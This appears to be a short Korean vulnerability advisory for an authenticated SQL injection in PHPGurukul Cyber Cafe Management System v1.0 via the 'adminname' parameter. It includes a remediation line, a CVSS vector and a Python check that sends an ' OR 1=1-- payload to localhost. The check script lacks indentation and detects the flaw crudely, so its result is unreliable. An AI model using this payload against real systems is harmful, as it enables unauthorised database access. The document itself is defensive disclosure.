PHPGurukul Cyber Cafe Management System v1.0
인증된 공격자가 adminname 파라미터를 통해任意의 SQL 표현식을 인젝션
사용자 입력을 제대로 필터링하고, SQL 인젝션 공격을 방지하기 위한 보안 패치 또는 업데이트를 적용
로컬에서 PHPGurukul Cyber Cafe Management System이 설치되어 있는 경우, 위의 Python 코드를 실행하여 취약점 여부를 확인할 수 있습니다. 코드를 실행하기 전에, requests 라이브러리가 설치되어 있는지 확인해야 합니다.
import requests
response = requests.get('http://localhost/adminprofile.php?adminname=%27+OR+1%3D1--')
if 'SQL' in response.text:
print({"result": "취약", "reason": "SQL 인젝션 공격에 취약"})
else:
print({"result": "양호", "reason": "SQL 인젝션 공격에 양호"})
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H